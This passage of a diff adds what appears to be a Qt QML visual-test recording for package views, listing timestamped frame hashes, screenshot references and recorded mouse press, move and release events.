"e0d5f3aab9fbfac1de47f42202dbeb79" + } + Frame { + msec: 7568 + hash: "8cd6919e15ea4320e00e79d43596ea80" + } + Frame { + msec: 7584 + hash: "395a63aa12928a6b597eabd74f019a03" + } + Frame { + msec: 7600 + hash: "16d4ccbda396a9afcaeac4ddca733012" + } + Frame { + msec: 7616 + hash: "71955518b68a9817a41d5d0f63adcc57" + } + Frame { + msec: 7632 + hash: "152f2569fe8849d5c4289699dba2ee32" + } + Frame { + msec: 7648 + hash: "a1de2cb5acc31a9d73e005c3a44cee4f" + } + Frame { + msec: 7664 + hash: "96ceaad68263b5165a65f557ae19d9cd" + } + Frame { + msec: 7680 + image: "packageviews.7.png" + } + Frame { + msec: 7696 + hash: "9ff5d2774820dac56655a44d965c7742" + } + Frame { + msec: 7712 + hash: "79cdbfb2f93a35680eab38f0df2eaf66" + } + Frame { + msec: 7728 + hash: "19896d510a27871fc589579e27adc0dc" + } + Frame { + msec: 7744 + hash: "71b62e488897345eebf8d9640d50585f" + } + Frame { + msec: 7760 + hash: "4853b95a3f1ae0ebbd468dff3605d595" + } + Frame { + msec: 7776 + hash: "a8030aa0aede17d91758af08256cf39d" + } + Frame { + msec: 7792 + hash: "a2a5e71349060ae262d337d9aa33b549" + } + Frame { + msec: 7808 + hash: "7b5f32f0e53ab102ef6f1eca7da016dd" + } + Frame { + msec: 7824 + hash: "7b5f32f0e53ab102ef6f1eca7da016dd" + } + Frame { + msec: 7840 + hash: "25908df38057c7394135108d9618e28d" + } + Frame { + msec: 7856 + hash: "d3b3ab6e43eef22ca71fc35c36b1f50d" + } + Frame { + msec: 7872 + hash: "c25759db4e12acbe8e4701c7c86d1957" + } + Frame { + msec: 7888 + hash: "fe67a155ead8495d646fa7bbcf5db6b4" + } + Frame { + msec: 7904 + hash: "34e2877a8b84e53e5c85fb1b25d57e2b" + } + Frame { + msec: 7920 + hash: "2fc6c5a0e9bb80e3c8f12553e7e96d02" + } + Frame { + msec: 7936 + hash: "b5122a2530e21a01e93862bd8060e320" + } + Frame { + msec: 7952 + hash: "9c55e0c920bcf5189fb24e1765d221db" + } + Frame { + msec: 7968 + hash: "1106703562135e36ae62130200960fc8" + } + Frame { + msec: 7984 + hash: "c24b57dbf01d2646fbbeb3e66636e220" + } + Frame { + msec: 8000 + hash: "71663a05c04bb77c2e25299a9c6dd9ce" + } + Frame { + msec: 8016 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8032 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8048 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8064 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8080 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8096 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8112 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8128 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8144 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8160 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8176 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8192 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8208 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8224 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8240 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8256 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8272 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8288 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8304 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8320 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8336 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8352 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8368 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8384 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8400 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8416 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8432 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8448 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8464 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8480 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8496 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8512 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8528 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8544 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8560 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8576 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8592 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8608 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8624 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8640 + image: "packageviews.8.png" + } + Frame { + msec: 8656 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8672 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8688 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Frame { + msec: 8704 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 46; y: 147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8720 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 146 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8736 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 145 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 143 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8752 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 141 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8768 + hash: "dd6caf22c0cacf5c34686785072da5f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 138 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 134 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 46; y: 129 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8784 + hash: "7b1354e70befc84c343145987c81562f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 45; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8800 + hash: "6107f00c6472d877b5c109dd58d73145" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 45; y: 115 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 45; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8816 + hash: "47288701643899e26b53d28595d59b29" + } + Frame { + msec: 8832 + hash: "a3b4b613d19c8f21ec1b75c1c660ed1d" + } + Frame { + msec: 8848 + hash: "7a5d9fe471eb673f68b77d97f9108bac" + } + Frame { + msec: 8864 + hash: "20a09795ffcf05276d7a5be24b33e207" + } + Frame { + msec: 8880 + hash: "225e529ac77f225fc8b84ed71cdcd70f" + } + Frame { + msec: 8896 + hash: "e4188406a3d3d1f1b83547d362a187f8" + } + Frame { + msec: 8912 + hash: "82707040aad297885ba1c8c6672dc017" + } + Frame { + msec: 8928 + hash: "a369118e98e2bd67dc4242c5e8c86cb8" + } + Frame { + msec: 8944 + hash: "001ef50f7d2b7db7e0db8d2190137d0c" + } + Frame { + msec: 8960 + hash: "2db473b2bd9fd602ed0298501752dae9" + } + Frame { + msec: 8976 + hash: "f9cdbb4e515abf23721627e3f2748960" + } + Frame { + msec: 8992 + hash: "cbc072c5b117ce156a4d6661ae488a77" + } + Frame { + msec: 9008 + hash: "79acb38cec803e6ebeb570dc4d7bbb30" + } + Frame { + msec: 9024 + hash: "848014437545fc8d2e454a774586a8ca" + } + Frame { + msec: 9040 + hash: "0836f3a48355f6384c6b3f452df1e7d6" + } + Frame { + msec: 9056 + hash: "b3da223cdf138e915fcb424cf9181d6b" + } + Frame { + msec: 9072 + hash: "1a7cf7e7ddaac64eeff0d23997580b8c" + } + Frame { + msec: 9088 + hash: "cfbd055b2f905db503250b49120948db" + } + Frame { + msec: 9104 + hash: "c5b8a4ce51ec806f0ce654a8977fb17d" + } + Frame { + msec: 9120 + hash: "d09ba0ea9e7fed2f50d6463ac74da470" + } + Frame { + msec: 9136 + hash: "47ec5bab098fd88ef5be3703c316717a" + } + Frame { + msec: 9152 + hash: "3ea8c442ed43bd3a2aebc9cc2aacfc01" + } + Frame { + msec: 9168 + hash: "f016f14b0b21781924ac2afe146b1b97" + } + Frame { + msec: 9184 + hash: "7b7b6954cce0ca202585310520bbb3e3" + } + Frame { + msec: 9200 + hash: "b0de94ee3b0ce4845101606d2d512426" + } + Frame { + msec: 9216 + hash: "8dc56bcb2313bd8dd9ef0cbc098b80e5" + } + Frame { + msec: 9232 + hash: "a1692b26fb73ade5a05e03de3f4a8dbe" + } + Frame { + msec: 9248 + hash: "672dd46e629475d823b182104f15aa24" + } + Frame { + msec: 9264 + hash: "2859e53d63c20af7891efc99d5e515b5" + } + Frame { + msec: 9280 + hash: "b44b1c4eaa33fbd09c8e59c1bf2a8f2a" + } + Frame { + msec: 9296 + hash: "d520fa81032ca25ec2cb6c358488049d" + } + Frame { + msec: 9312 + hash: "3676c00bd5c3e9af8c4092afd80f58c2" + } + Frame { + msec: 9328 + hash: "6be4d4c35aba5a8d32a28dd88f32acd1" + } + Frame { + msec: 9344 + hash: "375473d4d838ef937c3164e7451d9391" + } + Frame { + msec: 9360 + hash: "610253e766974af4958c3623547deebd" + } + Frame { + msec: 9376 + hash: "20b79be381a95930c924240815cc63f4" + } + Frame { + msec: 9392 + hash: "88130d7132f472ff8495d640adf290cc" + } + Frame { + msec: 9408 + hash: "2e81f4c9a0221708146adcb508eb2d30" + } + Frame { + msec: 9424 + hash: "977f52ed922ba5db66440f115f7484a2" + } + Frame { + msec: 9440 + hash: "706f99c32d00be14ae67b4866fee0cd9" + } + Frame { + msec: 9456 + hash: "210231604091497b510c4a1d42295574" + } + Frame { + msec: 9472 + hash: "210231604091497b510c4a1d42295574" + } + Frame { + msec: 9488 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9504 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9520 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9536 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9552 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9568 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9584 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9600 + image: "packageviews.9.png" + } + Frame { + msec: 9616 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9632 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9648 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9664 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9680 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9696 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9712 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9728 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9744 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9760 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9776 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9792 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9808 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9824 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9840 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9856 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9872 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9888 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9904 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9920 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9936 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9952 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9968 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 9984 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10000 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10016 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10032 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10048 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10064 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10080 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10096 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10112 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10128 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10144 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10160 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10176 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 48; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10192 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10208 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10224 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10240 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10256 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 48; y: 137 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10272 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 10288 + hash: "c54f97c72088b6319efba3c79bbef0fa" + } + Frame { + msec: 10304 + hash: "3627adf820bc44f99cca852096f337a0" + } + Frame { + msec: 10320 + hash: "48c0f775534ff9bbe9227e60ad9a3622" + } + Frame { + msec: 10336 + hash: "da5c6fd80ee0dc20e81031c84ede20cf" + } + Frame { + msec: 10352 + hash: "ce7595da55b274259771eb99a42df454" + } + Frame { + msec: 10368 + hash: "c2dd2aa17b9508477699fefe55bfbd06" + } + Frame { + msec: 10384 + hash: "4ee897ddfec1081eef8bc5d799774f82" + } + Frame { + msec: 10400 + hash: "f4da67964a175acf4cde4a24b054c24c" + } + Frame { + msec: 10416 + hash: "e3da951dad465f1a69d8d7c08e888f02" + } + Frame { + msec: 10432 + hash: "ff862073eada170a07d209048367b823" + } + Frame { + msec: 10448 + hash: "cb61d5a89c1acc2b646f3c07214bea4a" + } + Frame { + msec: 10464 + hash: "15d842ac551c15a136c7598adf2fe2b1" + } + Frame { + msec: 10480 + hash: "04b9e85f7418bbc402e51e0ce8149180" + } + Frame { + msec: 10496 + hash: "455dff37edfac66f5e4ae78e10b93cf9" + } + Frame { + msec: 10512 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10528 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10544 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10560 + image: "packageviews.10.png" + } + Frame { + msec: 10576 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10592 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10608 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10624 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10640 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10656 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10672 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10688 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10704 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10720 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10736 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10752 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10768 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10784 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10800 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10816 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10832 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10848 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10864 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10880 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10896 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10912 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10928 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10944 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10960 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10976 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 10992 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11008 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11024 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11040 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11056 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11072 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11088 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11104 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11120 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11136 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11152 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11168 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11184 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11200 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11216 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11232 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11248 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11264 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11280 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11296 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11312 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11328 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11344 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11360 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11376 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11392 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11408 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11424 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11440 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11456 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11472 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11488 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11504 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 47; y: 141 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11520 + image: "packageviews.11.png" + } + Frame { + msec: 11536 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11552 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11568 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 47; y: 141 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11584 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11600 + hash: "259e9da7c3b8738db1762128f2c8d4b0" + } + Frame { + msec: 11616 + hash: "cf515f316c197a307a7fb8373df3b107" + } + Frame { + msec: 11632 + hash: "927379ba611284d5c98a3eb5aca04f7c" + } + Frame { + msec: 11648 + hash: "387ad2042589de0a19cb13aa0cac8872" + } + Frame { + msec: 11664 + hash: "6536ad87d1f04b13c28c43ae0fed984f" + } + Frame { + msec: 11680 + hash: "38d77d6610739614e95c70f32736f238" + } + Frame { + msec: 11696 + hash: "9a6c3a95b61d3b9b787417600123b6d8" + } + Frame { + msec: 11712 + hash: "782d907d7d170108beb030c93d9a4d94" + } + Frame { + msec: 11728 + hash: "646ee08d1ffe676ca0363f70e14c2ed6" + } + Frame { + msec: 11744 + hash: "830730ed9990c8f96fa5c7e6b4228884" + } + Frame { + msec: 11760 + hash: "2e678862f358814278d38950c7c5765b" + } + Frame { + msec: 11776 + hash: "c656eb6ace9caf86d417d79452c4ea34" + } + Frame { + msec: 11792 + hash: "227a9bb3644c26622ef654ba2c61ddad" + } + Frame { + msec: 11808 + hash: "bc8188bf8be749bfb28fc64bb5773922" + } + Frame { + msec: 11824 + hash: "f1e90cfd466bdc26ba98632fe1e5360c" + } + Frame { + msec: 11840 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11856 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11872 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11888 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11904 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11920 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11936 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11952 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11968 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 11984 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12000 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12016 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12032 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12048 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12064 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12080 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12096 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12112 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12128 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12144 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12160 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12176 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12192 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12208 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12224 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12240 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12256 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12272 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12288 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12304 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12320 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12336 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12352 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12368 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12384 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12400 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12416 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12432 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12448 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12464 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12480 + image: "packageviews.12.png" + } + Frame { + msec: 12496 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12512 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12528 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12544 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12560 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12576 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12592 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12608 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12624 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12640 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12656 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12672 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12688 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12704 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12720 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12736 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12752 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12768 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12784 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12800 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12816 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12832 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12848 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12864 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12880 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12896 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12912 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12928 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12944 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12960 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12976 + hash: "81795ee4213ac62e073d811aaf6b580c" + } + Frame { + msec: 12992 + hash: "81795ee4213ac62e073d811aaf6b580c" + } +} 